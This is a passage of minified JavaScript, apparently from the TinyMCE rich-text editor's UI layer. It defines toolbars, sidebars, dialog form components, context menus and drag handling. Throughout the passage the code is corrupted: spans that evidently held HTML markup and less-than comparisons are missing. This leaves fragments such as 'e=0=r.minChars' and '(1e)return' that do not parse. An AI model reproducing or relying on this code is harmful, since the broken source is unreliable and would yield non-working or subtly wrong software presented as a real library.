e.slot(t.name,{dom:{tag:"div",classes:["tox-sidebar__pane"]},behaviours:Kh([vv(t,n),bv(t,n),Cr(Ji(),function(n,t){var e=t.event;V(r,function(t){return t.name===e.name}).each(function(t){(e.visible?t.onShow:t.onHide)(t.getApi(n))})})])})})),slotBehaviours:Kh([ou(function(t){return uO.hideAllSlots(t)})])};var e,o,r}))]);var n})}function yC(t){return cd.getCurrent(t).bind(function(t){return eO.isGrowing(t)||eO.hasGrown(t)?cd.getCurrent(t).bind(function(n){return V(uO.getSlotNames(n),function(t){return uO.isShowing(n,t)})}):vt.none()})}function xC(t){var n=At.fromHtml(t),e=Kt(n),o=R(void 0!==n.dom.attributes?n.dom.attributes:[],function(t,n){var e;return"class"===n.name?t:lt(lt({},t),((e={})[n.name]=n.value,e))},{}),r=Array.prototype.slice.call(n.dom.classList,0),i=0===e.length?{}:{innerHtml:Mr(n)};return lt({tag:Ft(n),classes:r,attributes:o},i)}function wC(t){return cd.getCurrent(t).each(function(t){return ka(t.element)})}function SC(f,d,m){function n(t){var n;!g.get()||"focusin"===(n=t).type&&(n.composed?Y(n.composedPath()):vt.from(n.target)).map(At.fromDom).filter(Xn).exists(function(t){return Kr(t,"mce-pastebin")})||(t.preventDefault(),wC(d()),f.editorManager.setActive(f))}var g=Po(!1),e=gc();function o(t){var n,e,o,r,i,u,a,c,s,l;t!==g.get()&&(g.set(t),n=f,e=d(),o=t,r=m.providers,c=e.element,s=o,l="data-mce-"+(i="tabindex"),vt.from(n.iframeElement).map(At.fromDom).each(function(n){s?(an(n,i).each(function(t){return on(n,l,t)}),on(n,i,-1)):(sn(n,i),an(n,l).each(function(t){on(n,i,t),sn(n,l)}))}),o?(fO.block(e,(a=r,function(t,n){return{dom:{tag:"div",attributes:{"aria-label":a.translate("Loading..."),tabindex:"0"},classes:["tox-throbber__busy-spinner"]},components:[{dom:xC('
    ')}]}})),bn(c,"display"),sn(c,"aria-hidden"),n.hasFocus()&&wC(e)):(u=cd.getCurrent(e).exists(function(t){return Ca(t.element)}),fO.unblock(e),dn(c,"display","none"),on(c,"aria-hidden","true"),u&&n.focus()),f.fire("AfterProgressState",{state:t}))}f.inline||f.on("PreInit",function(){f.dom.bind(f.getWin(),"focusin",n),f.on("BeforeExecCommand",function(t){"mcefocus"===t.command.toLowerCase()&&!0!==t.value&&n(t)})}),f.on("ProgressState",function(t){var n;e.on(lp.clearTimeout),u(t.time)?(n=lp.setEditorTimeout(f,function(){return o(t.state)},t.time),e.set(n)):(o(t.state),e.clear())})}function kC(t,n,e){return{within:t,extra:n,withinWidth:e}}function CC(t,n,o){var e,r=(e=function(t,n){var e=o(t);return vt.some({element:t,start:n,finish:n+e,width:e})},R(t,function(n,t){return e(t,n.len).fold(rt(n),function(t){return{len:t.finish,list:n.list.concat([t])}})},{len:0,list:[]}).list),i=F(r,function(t){return t.finish<=n}),u=I(i,function(t,n){return t+n.width},0);return{within:i,extra:r.slice(i.length),withinWidth:u}}function OC(t){return M(t,function(t){return t.element})}function _C(t,n){var e=M(n,function(t){return Eu(t)});V1.setGroups(t,e)}function TC(t,n,e){var o,r,i,u,a,c,s,l,f,d,m,g,p,h,v,b,y,x,w,S,k=n.builtGroups.get();0!==k.length&&(o=gl(t,n,"primary"),r=$y.getCoupled(t,"overflowGroup"),dn(o.element,"visibility","hidden"),u=K(i=k.concat([r]),function(n){return _a(n.element).bind(function(t){return n.getSystem().getByDom(t).toOptional()})}),e([]),_C(o,i),a=On(o.element),0===(s=a,l=n.builtGroups.get(),d=r,y=(0===(m=CC(l,s,f=function(t){return On(t.element)})).extra.length?vt.some(m):vt.none()).getOrThunk(function(){return CC(l,s-f(d),f)}),x=y.within,w=y.extra,S=y.withinWidth,(c=1===w.length&&w[0].width<=f(d)?(b=S,kC(OC(x.concat(w)),[],b)):1<=w.length?(p=w,h=d,v=S,kC(OC(x).concat([h]),OC(p),v)):(g=S,kC(OC(x),[],g))).extra.length)?(Rg.remove(o,r),e([])):(_C(o,c.within),e(c.extra)),bn(o.element,"visibility"),yn(o.element),u.each(Hg.focus))}function EC(t,n){var e=$y.getCoupled(t,"toolbarSandbox");bf.isOpen(e)?bf.close(e):bf.open(e,n.toolbar())}function DC(t,n,e,o){var r=e.getBounds.map(function(t){return t()}),i=e.lazySink(t).getOrDie();ff.positionWithinBounds(i,n,{anchor:{type:"hotspot",hotspot:t,layouts:o,overrides:{maxWidthFunction:pO()}}},r)}function BC(t,n,e,o,r){V1.setGroups(n,r),DC(t,n,e,o),Lg.on(t)}function MC(t){return M(t,function(t){return Eu(t)})}function AC(t,e,o){TC(t,o,function(n){o.overflowGroups.set(n),e.getOpt(t).each(function(t){bO.setGroups(t,MC(n))})})}function FC(n,e){ml(n,e,"overflow-button").bind(function(){return ml(n,e,"overflow")}).each(function(t){QC(n,e),eO.toggleGrow(t)})}function IC(t){var n=t.title.fold(function(){return{}},function(t){return{attributes:{title:t}}});return{dom:lt({tag:"div",classes:["tox-toolbar__group"]},n),components:[wO.parts.items({})],items:t.items,markers:{itemSelector:"*:not(.tox-split-button) > .tox-tbtn:not([disabled]), .tox-split-button:not([disabled]), .tox-toolbar-nav-js:not([disabled])"},tgroupBehaviours:nc([py.config({}),Hg.config({})])}}function RC(t){return wO.sketch(IC(t))}function VC(e,t){var n=ou(function(t){var n=M(e.initGroups,RC);V1.setGroups(t,n)});return nc([Qv(e.providers.isDisabled),pv(),Fg.config({mode:t,onEscape:e.onEscape,selector:".tox-toolbar__group"}),mm("toolbar-events",[n])])}function PC(t){var n=t.cyclicKeying?"cyclic":"acyclic";return{uid:t.uid,dom:{tag:"div",classes:["tox-toolbar-overlord"]},parts:{"overflow-group":IC({title:vt.none(),items:[]}),"overflow-button":Y0({name:"more",icon:vt.some("more-drawer"),disabled:!1,tooltip:vt.some("More..."),primary:!1,borderless:!1},vt.none(),t.providers)},splitToolbarBehaviours:VC(t,n)}}function HC(t){var n=t.cyclicKeying?"cyclic":"acyclic";return V1.sketch({uid:t.uid,dom:{tag:"div",classes:["tox-toolbar"].concat(t.type===bh.scrolling?["tox-toolbar--scrolling"]:[])},components:[V1.parts.groups({})],toolbarBehaviours:VC(t,n)})}function zC(t){return"string"==typeof t?t.split(" "):t}function NC(i,u){var a=lt(lt({},IO),u.menus),e=0=r.minChars&&(e=cd.getCurrent(o).bind(function(t){return hd.getHighlighted(t).map(Df.getValue)}),r.previewing.set(!0),nx(r,u(t),t,o,i,function(t){cd.getCurrent(o).each(function(t){e.fold(function(){r.model.selectsOver&&hd.highlightFirst(t)},function(n){hd.highlightBy(t,function(t){return Df.getValue(t).value===n.value}),hd.getHighlighted(t).orThunk(function(){return hd.highlightFirst(t),vt.none()})})})},Hy.HighlightFirst).get(st))},cancelEvent:zi()}),Fg.config({mode:"special",onDown:function(t,n){return e(t,n,hd.highlightFirst),vt.some(!0)},onEscape:function(t){var n=$y.getCoupled(t,"sandbox");return bf.isOpen(n)?(bf.close(n),vt.some(!0)):vt.none()},onUp:function(t,n){return e(t,n,hd.highlightLast),vt.some(!0)},onEnter:function(n){var t=$y.getCoupled(n,"sandbox"),e=bf.isOpen(t);if(e&&!r.previewing.get())return cd.getCurrent(t).bind(function(t){return hd.getHighlighted(t)}).map(function(t){return br(n,l1(),{item:t}),!0});var o=Df.getValue(n);return vr(n,zi()),r.onExecute(t,n,o),e&&bf.close(t),vt.some(!0)}}),Lg.config({toggleClass:r.markers.openClass,aria:{mode:"expanded"}}),$y.config({others:{sandbox:function(t){return rx(r,t,{onOpen:function(){return Lg.on(t)},onClose:function(){return Lg.off(t)}})}}}),mm("typeaheadevents",[uu(function(t){ex(r,u(t),t,i,st,Hy.HighlightFirst).get(st)}),Cr(l1(),function(t,n){var e=$y.getCoupled(t,"sandbox");ck(r.model,t,n.event.item),vr(t,zi()),r.onItemExecute(t,e,n.event.item,Df.getValue(t)),bf.close(e),s1(t)})].concat(r.dismissOnBlur?[Cr(Mi(),function(t){var n=$y.getCoupled(t,"sandbox");_a(n.element).isNone()&&bf.close(n)})]:[]))];return{uid:r.uid,dom:iy(Yo(r,{inputAttributes:{role:"combobox","aria-autocomplete":"list","aria-haspopup":"true"}})),behaviours:lt(lt({},o),nl(r.typeaheadBehaviours,a)),eventOrder:r.eventOrder}}}),g1=function(i){return lt(lt({},i),{toCached:function(){return g1(i.toCached())},bindFuture:function(n){return g1(i.bind(function(t){return t.fold(function(t){return Gy(Ve.error(t))},function(t){return n(t)})}))},bindResult:function(n){return g1(i.map(function(t){return t.bind(n)}))},mapResult:function(n){return g1(i.map(function(t){return t.map(n)}))},mapError:function(n){return g1(i.map(function(t){return t.mapError(n)}))},foldResult:function(n,e){return i.map(function(t){return t.fold(n,e)})},withTimeout:function(t,r){return g1(jy(function(n){var e=!1,o=setTimeout(function(){e=!0,n(Ve.error(r()))},t);i.get(function(t){e||(clearTimeout(o),n(t))})}))}})},p1=function(t){return g1(jy(t))},h1={type:"separator"},v1=Ir("aria-invalid"),b1={bar:pk(function(t,n){return e=n.shared,{dom:{tag:"div",classes:["tox-bar","tox-form__controls-h-stack"]},components:M(t.items,e.interpreter)};var e}),collection:pk(function(t,n){return u=t,a=n.shared.providers,c=u.label.map(function(t){return oy(t,a)}),s=e(function(t,n,e,o){n.stop(),a.isDisabled()||br(t,Sy,{name:u.name,value:o})}),l=[Cr(vi(),e(function(t,n,e){ka(e)})),Cr(Ci(),s),Cr(Vi(),s),Cr(bi(),e(function(t,n,e){Iu(t.element,"."+Mh).each(function(t){qr(t,Mh)}),Yr(e,Mh)})),Cr(yi(),e(function(t){Iu(t.element,"."+Mh).each(function(t){qr(t,Mh)})})),uu(e(function(t,n,e,o){br(t,Sy,{name:u.name,value:o})}))],ey(c,my.parts.field({dom:{tag:"div",classes:["tox-collection"].concat(1!==u.columns?["tox-collection--grid"]:["tox-collection--list"])},components:[],factory:{sketch:h},behaviours:nc([gd.config({disabled:a.isDisabled,onDisabled:function(t){o(t,function(t){Yr(t,"tox-collection__item--state-disabled"),on(t,"aria-disabled",!0)})},onEnabled:function(t){o(t,function(t){qr(t,"tox-collection__item--state-disabled"),sn(t,"aria-disabled")})}}),pv(),Rg.config({}),Df.config({store:{mode:"memory",initialValue:[]},onSetValue:function(o,t){var n=o,e=M(t,function(t){var n=dp.translate(t.text),e=1===u.columns?'
    '+n+"
    ":"",o='
    '+t.icon+"
    ",r={_:" "," - ":" ","-":" "},i=n.replace(/\_| \- |\-/g,function(t){return r[t]});return'
    '+o+e+"
    "}),r=M("auto"!==u.columns&&1'+t.join("")+""});Ar(n.element,r.join("")),"auto"===u.columns&&ah(o,5,"tox-collection__item").each(function(t){var n=t.numRows,e=t.numColumns;Fg.setGridSize(o,n,e)}),vr(o,Ty)}}),py.config({}),Fg.config(1===(i=u.columns)?{mode:"menu",moveOnTab:!1,selector:".tox-collection__item"}:"auto"===i?{mode:"flatgrid",selector:".tox-collection__item",initSize:{numColumns:1,numRows:1}}:{mode:"matrix",selectors:{row:".tox-collection__group",cell:"."+Ch}}),mm("collection-events",l)]),eventOrder:((r={})[Ii()]=["disabling","alloy.base.behaviour","collection-events"],r)}),["tox-form__group--collection"],[]);function e(o){return function(n,e){Ru(e.event.target,"[data-collection-item-value]").each(function(t){o(n,e,t,un(t,"data-collection-item-value"))})}}function o(t,n){return M(vs(t.element,".tox-collection__item"),n)}var u,a,r,i,c,s,l}),alertbanner:pk(function(t,n){return o=n.shared.providers,ly.sketch({dom:{tag:"div",attributes:{role:"alert"},classes:["tox-notification","tox-notification--in","tox-notification--"+(e=t).level]},components:[{dom:{tag:"div",classes:["tox-notification__icon"]},components:[fp.sketch({dom:{tag:"button",classes:["tox-button","tox-button--naked","tox-button--icon"],innerHtml:Um(e.icon,o.icons),attributes:{title:o.translate(e.iconTooltip)}},action:function(t){br(t,Sy,{name:"alert-banner",value:e.url})},buttonBehaviours:nc([jm()])})]},{dom:{tag:"div",classes:["tox-notification__body"],innerHtml:o.translate(e.text)}}]});var e,o}),input:pk(function(t,n){return o=n.shared.providers,uk({name:(e=t).name,multiline:!1,label:e.label,inputMode:e.inputMode,placeholder:e.placeholder,flex:!1,disabled:e.disabled,classname:"tox-textfield",validation:vt.none(),maximized:e.maximized},o);var e,o}),textarea:pk(function(t,n){return o=n.shared.providers,uk({name:(e=t).name,multiline:!0,label:e.label,inputMode:vt.none(),placeholder:e.placeholder,flex:!0,disabled:e.disabled,classname:"tox-textarea",validation:vt.none(),maximized:e.maximized},o);var e,o}),label:pk(function(t,n){return r={dom:{tag:"label",innerHtml:(o=n.shared).providers.translate((e=t).label),classes:["tox-label"]}},i=M(e.items,o.interpreter),{dom:{tag:"div",classes:["tox-form__group"]},components:[r].concat(i),behaviours:nc([aw(),Rg.config({}),cw(vt.none()),Fg.config({mode:"acyclic"})])};var e,o,r,i}),iframe:(ZC=function(t,n){return e=t,o=n.shared.providers,u=bS&&e.sandboxed,a=lt(lt({},e.label.map(function(t){return{title:t}}).getOr({})),u?{sandbox:"allow-scripts allow-same-origin"}:{}),r=u,i=Po(""),c={getValue:function(t){return i.get()},setValue:function(t,n){var e;r?on(t.element,"srcdoc",n):(on(t.element,"src","javascript:''"),(e=t.element.dom.contentWindow.document).open(),e.write(n),e.close()),i.set(n)}},ey(e.label.map(function(t){return oy(t,o)}),my.parts.field({factory:{sketch:function(t){return d0({uid:t.uid,dom:{tag:"iframe",attributes:a},behaviours:nc([py.config({}),Hg.config({}),gS(vt.none(),c.getValue,c.setValue)])})}}}),["tox-form__group--stretched"],[]);var e,o,r,i,u,a,c},function(t,n,e){var o=Yo(n,{source:"dynamic"});return pk(ZC)(t,o,e)}),button:pk(function(t,n){return e=t,o=n.shared.providers,r=$0(e.name,"custom"),ey(vt.none(),my.parts.field(lt({factory:fp},K0(e,vt.some(r),o,[pS(""),aw()]))),[],[]);var e,o,r}),checkbox:pk(function(t,n){return r=t,i=n.shared.providers,u=Df.config({store:{mode:"manual",getValue:function(t){return t.element.dom.checked},setValue:function(t,n){t.element.dom.checked=n}}}),a=my.parts.field({factory:{sketch:h},dom:{tag:"input",classes:["tox-checkbox__input"],attributes:{type:"checkbox"}},behaviours:nc([aw(),gd.config({disabled:function(){return r.disabled||i.isDisabled()}}),py.config({}),Hg.config({}),u,Fg.config({mode:"special",onEnter:e,onSpace:e,stopSpaceKeyup:!0}),mm("checkbox-events",[Cr(ki(),function(t,n){br(t,yy,{name:r.name})})])])}),c=my.parts.label({dom:{tag:"span",classes:["tox-checkbox__label"],innerHtml:i.translate(r.label)},behaviours:nc([vw.config({})])}),s=zm({dom:{tag:"div",classes:["tox-checkbox__icons"]},components:[o("checked"),o("unchecked")]}),my.sketch({dom:{tag:"label",classes:["tox-checkbox"]},components:[a,s.asSpec(),c],fieldBehaviours:nc([gd.config({disabled:function(){return r.disabled||i.isDisabled()},disableClass:"tox-checkbox--disabled",onDisabled:function(t){my.getField(t).each(gd.disable)},onEnabled:function(t){my.getField(t).each(gd.enable)}}),pv()])});function e(t){return t.element.dom.click(),vt.some(!0)}function o(t){return Xm("checked"===t?"selected":"unselected",{tag:"span",classes:["tox-icon","tox-checkbox-icon__"+t]},i.icons)}var r,i,u,a,c,s}),colorinput:pk(function(t,n){return e=t,r=n.shared,i=n.colorinput,c=my.parts.field({factory:Dy,inputClasses:["tox-textfield"],onSetValue:function(t){return Ky.run(t).get(st)},inputBehaviours:nc([gd.config({disabled:r.providers.isDisabled}),pv(),py.config({}),Ky.config({invalidClass:"tox-textbox-field-invalid",getRoot:function(t){return Yt(t.element)},notify:{onValid:function(t){var n=Df.getValue(t);br(t,bw,{color:n})}},validator:{validateOnLoad:!1,validate:function(t){var n=Df.getValue(t);if(0===n.length)return Gy(Ve.value(!0));var e=At.fromTag("span");dn(e,"background-color",n);var o=hn(e,"background-color").fold(function(){return Ve.error("blah")},function(t){return Ve.value(n)});return Gy(o)}}})]),selectOnFocus:!1}),s=e.label.map(function(t){return oy(t,r.providers)}),l=zm((u={dom:{tag:"span",attributes:{"aria-label":r.providers.translate("Color swatch")}},layouts:{onRtl:function(){return[Ya,Xa,$a]},onLtr:function(){return[Xa,Ya,$a]}},components:[],fetch:wb(i.getColors(),i.hasCustomColors()),columns:i.getColorCols(),presets:"color",onItemAction:function(t,e){l.getOpt(t).each(function(n){"custom"===e?i.colorPicker(function(t){t.fold(function(){return vr(n,xw)},function(t){o(n,t),hb(t)})},"#ffffff"):o(n,"remove"===e?"":e)})}},hw.sketch({dom:u.dom,components:u.components,toggleClass:"mce-active",dropdownBehaviours:nc([$v((a=r).providers.isDisabled),pv(),vw.config({}),py.config({})]),layouts:u.layouts,sandboxClasses:["tox-dialog__popups"],lazySink:a.getSink,fetch:function(n){return jy(function(t){return u.fetch(t)}).map(function(t){return vt.from(Xb(Yo(Ob(Ir("menu-value"),t,function(t){u.onItemAction(n,t)},u.columns,u.presets,Sh.CLOSE_ON_EXECUTE,T,a.providers),{movement:_b(u.columns,u.presets)})))})},parts:{menu:Zp(0,0,u.presets)}}))),my.sketch({dom:{tag:"div",classes:["tox-form__group"]},components:s.toArray().concat([{dom:{tag:"div",classes:["tox-color-input"]},components:[c,l.asSpec()]}]),fieldBehaviours:nc([mm("form-field-events",[Cr(bw,function(t,n){l.getOpt(t).each(function(t){dn(t.element,"background-color",n.event.color)}),br(t,yy,{name:e.name})}),Cr(yw,function(n,e){my.getField(n).each(function(t){Df.setValue(t,e.event.value),cd.getCurrent(n).each(Hg.focus)})}),Cr(xw,function(n,t){my.getField(n).each(function(t){cd.getCurrent(n).each(Hg.focus)})})])])});function o(t,n){br(t,yw,{value:n})}var e,r,i,u,a,c,s,l}),colorpicker:pk(function(t){var r=zm(a0(c0,function(t){return"tox-"+t}).sketch({dom:{tag:"div",classes:["tox-color-picker-container"],attributes:{role:"presentation"}},onValidHex:function(t){br(t,Sy,{name:"hex-valid",value:!0})},onInvalidHex:function(t){br(t,Sy,{name:"hex-valid",value:!1})}}));return{dom:{tag:"div"},components:[r.asSpec()],behaviours:nc([Df.config({store:{mode:"manual",getValue:function(t){var n=r.get(t);return cd.getCurrent(n).bind(function(t){return Df.getValue(t).hex}).map(function(t){return"#"+t}).getOr("")},setValue:function(t,n){var e=/^#([a-fA-F0-9]{3}(?:[a-fA-F0-9]{3})?)/.exec(n),o=r.get(t);cd.getCurrent(o).fold(function(){console.log("Can not find form")},function(t){Df.setValue(t,{hex:vt.from(e[1]).getOr("")}),eS.getField(t,"hex").each(function(t){vr(t,Si())})})}}}),aw()])}}),dropzone:pk(function(t,n){return l0(t,n.shared.providers)}),grid:pk(function(t,n){return e=n.shared,{dom:{tag:"div",classes:["tox-form__grid","tox-form__grid--"+t.columns+"col"]},components:M(t.items,e.interpreter)};var e}),listbox:pk(function(t,n){return e=t,r=(o=n).shared.providers,i=Y(e.items).filter(rk),u=e.label.map(function(t){return oy(t,r)}),a={dom:{tag:"div",classes:["tox-listboxfield"]},components:[my.parts.field({dom:{},factory:{sketch:function(t){return L0({uid:t.uid,text:i.map(function(t){return t.text}),icon:vt.none(),tooltip:e.label,role:vt.none(),fetch:function(t,n){n(U0(o1(t,e.name,e.items,Df.getValue(t)),Sh.CLOSE_ON_EXECUTE,o,!1))},onSetup:rt(st),getApi:rt({}),columns:1,presets:"normal",classes:[],dropdownBehaviours:[py.config({}),Df.config({store:{mode:"manual",initialValue:i.map(function(t){return t.value}).getOr(""),getValue:function(t){return un(t.element,e1)},setValue:function(n,t){r1(e.items,t).each(function(t){on(n.element,e1,t.value),br(n,VS,{text:t.text})})}}})]},"tox-listbox",o.shared)}}})]},my.sketch({dom:{tag:"div",classes:["tox-form__group"]},components:ft([u.toArray(),[a]]),fieldBehaviours:nc([gd.config({disabled:rt(e.disabled),onDisabled:function(t){my.getField(t).each(gd.disable)},onEnabled:function(t){my.getField(t).each(gd.enable)}})])});var e,o,r,i,u,a}),selectbox:pk(function(t,n){return e=t,o=n.shared.providers,r=M(e.items,function(t){return{text:o.translate(t.text),value:t.value}}),i=e.label.map(function(t){return oy(t,o)}),u={dom:{tag:"div",classes:["tox-selectfield"]},components:ft([[my.parts.field({dom:{},selectAttributes:{size:e.size},options:r,factory:i1,selectBehaviours:nc([gd.config({disabled:function(){return e.disabled||o.isDisabled()}}),py.config({}),mm("selectbox-change",[Cr(ki(),function(t,n){br(t,yy,{name:e.name})})])])})],(1e)return"top";var r=Gt(a),i=Math.max(r.dom.scrollHeight,wn(r));return o.bottom=(e=void 0===e?.01:e)&&t.bottom-n.y>=e}function u_(t){var n=function(t){var n=t.getBoundingClientRect();if(n.height<=0&&n.width<=0){var e=Qt(At.fromDom(t.startContainer),t.startOffset).element;return(Yn(e)?Yt(e):vt.some(e)).filter(Xn).map(function(t){return t.dom.getBoundingClientRect()}).getOr(n)}return n}(t.selection.getRng());if(t.inline){var e=Rn();return Me(e.left+n.left,e.top+n.top,n.width,n.height)}var o=Nn(At.fromDom(t.getBody()));return Me(o.x+n.left,o.y+n.top,n.width,n.height)}function a_(t,n,e,o){void 0===o&&(o=0);var r,i,u,a,c=Hn(window),s=Ae(At.fromDom(t.getContentAreaContainer())),l=ph(t)||hh(t)||rv(t),f=(r=s,i=c,u=o,{x:a=Math.max(r.x+u,i.x),width:Math.min(r.right-u,i.right)-a}),d=f.x,m=f.width;if(t.inline&&!l)return Me(d,c.y,m,c.height);var g=function(t,n,e,o,r,i){var u=At.fromDom(t.getContainer()),a=Iu(u,".tox-editor-header").getOr(u),c=Ae(a),s=c.y>=n.bottom,l=o&&!s;if(t.inline&&l)return{y:Math.max(c.bottom+i,e.y),bottom:e.bottom};if(t.inline&&!l)return{y:e.y,bottom:Math.min(c.y-i,e.bottom)};var f="line"===r?Ae(u):n;return l?{y:Math.max(c.bottom+i,e.y),bottom:Math.min(f.bottom-i,e.bottom)}:{y:Math.max(f.y+i,e.y),bottom:Math.min(c.y-i,e.bottom)}}(t,s,c,n.header.isPositionedAtTop(),e,o),p=g.y,h=g.bottom;return Me(d,p,m,h-p)}function c_(t){return"node"===t}function s_(t,r,n,i,e){var u=u_(t),o=i.lastElement().exists(function(t){return Lt(n,t)}),a=n,c=t.selection.getRng(),s=Qt(At.fromDom(c.startContainer),c.startOffset);return c.startContainer===c.endContainer&&c.startOffset===c.endOffset-1&&Lt(s.element,a)?o?Vm:cp:o?function(n,t){var e=hn(n,"position");dn(n,"position",t);var o=i_(u,Ae(r))&&!i.isReposition()?Hm:Vm;return e.each(function(t){return dn(n,"position",t)}),o}(r,i.getMode()):("fixed"===i.getMode()?e.y+Rn().top:e.y)+(wn(r)+12)<=u.y?cp:sp}function l_(n,t){var e=A(F(t,function(t){return t.predicate(n.dom)}),function(t){return"contexttoolbar"===t.type});return{contextToolbars:e.pass,contextForms:e.fail}}function f_(e,t){function o(t){return Lt(t,r)}var n,r=At.fromDom(t.getBody()),i=At.fromDom(t.selection.getNode());return o(n=i)||Wt(r,n)?function(t,n,e){var o=l_(t,n);if(0=o.clientX&&t.top<=o.clientY&&t.bottom>=o.clientY})}}(f,d)?n():(f.once("selectionchange",n),f.once("touchend",function(){return f.off("selectionchange",n)}))):t()}function aT(t){return"string"==typeof t?t.split(/[ ,]/):t}function cT(t){return t.getParam("contextmenu_never_use_native",!1,"boolean")}function sT(t){return y(t)?"|"===t:"separator"===t.type}function lT(t,n){if(0===n.length)return t;var e=q(t).filter(function(t){return!sT(t)}).fold(function(){return[]},function(t){return[jT]});return t.concat(e).concat(n).concat([jT])}function fT(t,n){return"longpress"!==n.type&&(2!==n.button||n.target===t.getBody()&&""===n.pointerType)}function dT(t,n){return fT(t,n)?t.selection.getStart(!0):n.target}function mT(s,t,n){function e(t){return up.hide(i)}function o(c){var t;cT(s)&&c.preventDefault(),c.ctrlKey&&!cT(s)||!1===s.getParam("contextmenu")||(t=function(t,n){var e=t.getParam("contextmenu_avoid_overlap","","string"),o=fT(t,n)?"selection":"point";if(at(e)){var r=dT(t,n);return Yb(At.fromDom(r),e)?"node":o}return o}(s,c),(r()?uT:function(t,n,e,o,r,i){var u=e(),a=iT(t,n,i);U0(u,Sh.CLOSE_ON_EXECUTE,o,!1).map(function(t){n.preventDefault(),up.showMenuAt(r,{anchor:a},{menu:{markers:Qp("normal")},data:t})})})(s,c,function(){var t,n,e,o=dT(s,c),r=s.ui.registry.getAll(),i=(e=(n=s).ui.registry.getAll().contextMenus,vt.from(n.getParam("contextmenu")).map(aT).getOrThunk(function(){return F(aT("link linkchecker image imagetools table spellchecker configurepermanentpen"),function(t){return Tt(e,t)})})),u=r.contextMenus,a=o;return 0<(t=R(i,function(o,t){return tt(u,t.toLowerCase()).map(function(t){var n=t.update(a);if(y(n))return lT(o,n.split(" "));if(0e;(o||r)&&dn(t.element,"display","none")}(t)}function i(t){return r(h,t,n,"top")}function u(t){return r(v,t,o,"bottom")}var c=Po([]),s=Po([]),t=Po(!1),l=gc(),f=gc(),d=RT(function(){return M(c.get(),n)},l,function(n){f.get().each(function(t){a.fire("TableSelectorChange",{start:n,finish:t})})}),m=RT(function(){return M(s.get(),o)},f,function(n){l.get().each(function(t){a.fire("TableSelectorChange",{start:t,finish:n})})}),g=VT(d),p=VT(m),h=Tu(g.asSpec()),v=Tu(p.asSpec());le().deviceType.isTouch()&&(a.on("TableSelectionChange",function(n){t.get()||(Vs(e,h),Vs(e,v),t.set(!0)),l.set(n.start),f.set(n.finish),n.otherCells.each(function(t){c.set(t.upOrLeftCells),s.set(t.downOrRightCells),i(n.start),u(n.finish)})}),a.on("ResizeEditor ResizeWindow ScrollContent",function(){l.get().each(i),f.get().each(u)}),a.on("TableSelectionClear",function(){t.get()&&(Hs(h),Hs(v),t.set(!1)),l.clear(),f.clear()}))}var HT,zT,NT={name:"lineheight",text:"Line height",icon:"line-height",getOptions:function(t){return t.getParam("lineheight_formats","1 1.1 1.2 1.3 1.4 1.5 2","string").split(" ")},hash:function(t){return r=["fixed","relative","empty"],vt.from(q_.exec(t)).bind(function(t){var n=Number(t[1]),e=t[2],o=e;return d(r,function(t){return d(Y_[t],function(t){return o===t})})?vt.some({value:n,unit:e}):vt.none()}).map(function(t){return t.value+t.unit}).getOr(t);var r},display:h,watcher:function(t,n,e){return t.formatter.formatChanged("lineheight",e,!1,{value:n}).unbind},getCurrent:function(t){return vt.from(t.queryCommandValue("LineHeight"))},setCurrent:function(t,n){return t.execCommand("LineHeight",!1,n)}},LT=function(t){return{type:"selection",root:At.fromDom(t.selection.getNode())}},WT={onLtr:function(){return[$a,Xa,Ya,qa,Ka,Ja,cp,sp,Am,Bm,Mm,Dm]},onRtl:function(){return[$a,Ya,Xa,Ka,qa,Ja,cp,sp,Mm,Dm,Am,Bm]}},UT={valignCentre:[],alignCentre:[],alignLeft:["tox-pop--align-left"],alignRight:["tox-pop--align-right"],right:["tox-pop--right"],left:["tox-pop--left"],bottom:["tox-pop--bottom"],top:["tox-pop--top"]},jT={type:"separator"},GT=function(n){function t(t){return{text:t.text,icon:t.icon,disabled:t.disabled,shortcut:t.shortcut}}var e;if(y(n))return n;switch(n.type){case"separator":return jT;case"submenu":return lt(lt({type:"nestedmenuitem"},t(n)),{getSubmenuItems:function(){var t=n.getSubmenuItems();return y(t)?t:M(t,GT)}});default:return lt(lt({type:"menuitem"},t(n)),{onAction:(e=n.onAction,function(){return e()})})}},XT=Ho([{offset:["x","y"]},{absolute:["x","y"]},{fixed:["x","y"]}]),YT=XT.offset,qT=XT.absolute,KT=XT.fixed,JT=function(t,n,l,f,d){var e=n.getSnapPoints(t);return CT(e,l,f,d).orThunk(function(){return R(e,function(n,e){var t,o,r,i,u,a,c,s=(t=e.sensor,e.range.left,e.range.top,i=bT(l,o=f,r=d),u=bT(t,o,r),a=Math.abs(i.left-u.left),c=Math.abs(i.top-u.top),ke(a,c));return n.deltas.fold(function(){return{deltas:vt.some(s),snap:vt.some(e)}},function(t){return(s.left+s.top)/2<=(t.left+t.top)/2?{deltas:vt.some(s),snap:vt.some(e)}:n})},{deltas:vt.none(),snap:vt.none()}).snap.map(function(t){return{output:wT(t.output,l,f,d),extra:t.extra}})})},$T=function(t,n,e,o,r){return CT(n.getSnapPoints(t),e,o,r)},QT=Object.freeze({__proto__:null,snapTo:function(t,n,e,o){var r,i,u,a=n.getTarget(t.element);n.repositionTarget&&(r=Rn(Ut(t.element)),i=Wk(a),gn(a,xT({coord:wT((u=o).output,u.output,r,i),extra:u.extra}.coord,0,i)))}}),ZT="data-initial-z-index",tE=To("snaps",[mo("getSnapPoints"),Ju("onSensor"),mo("leftAttr"),mo("topAttr"),Eo("lazyViewport",Fe),Eo("mustSnap",!1)]),nE=[Eo("useFixed",T),mo("blockerClass"),Eo("getTarget",h),Eo("onDrag",st),Eo("repositionTarget",!0),Eo("onDrop",st),Io("getBounds",Fe),tE],eE=Object.freeze({__proto__:null,getData:function(t){return vt.from(ke(t.x,t.y))},getDelta:function(t,n){return ke(n.left-t.left,n.top-t.top)}}),oE=H(H([],nE,!0),[ta("dragger",{handlers:MT(AT)})],!1),rE=Object.freeze({__proto__:null,getData:function(t){var n,e=t.raw.touches;return 1===e.length?(n=e[0],vt.some(ke(n.clientX,n.clientY))):vt.none()},getDelta:function(t,n){return ke(n.left-t.left,n.top-t.top)}}),iE=H(H([],nE,!0),[ta("dragger",{handlers:MT(FT)})],!1),uE=H(H([],nE,!0),[ta("dragger",{handlers:MT(function(t,n,e){return H(H([],AT(t,n,e),!0),FT(t,n,e),!0)})})],!1),aE=wa({branchKey:"mode",branches:Object.freeze({__proto__:null,mouse:oE,touch:iE,mouseOrTouch:uE}),name:"dragging",active:{events:function(t,n){return 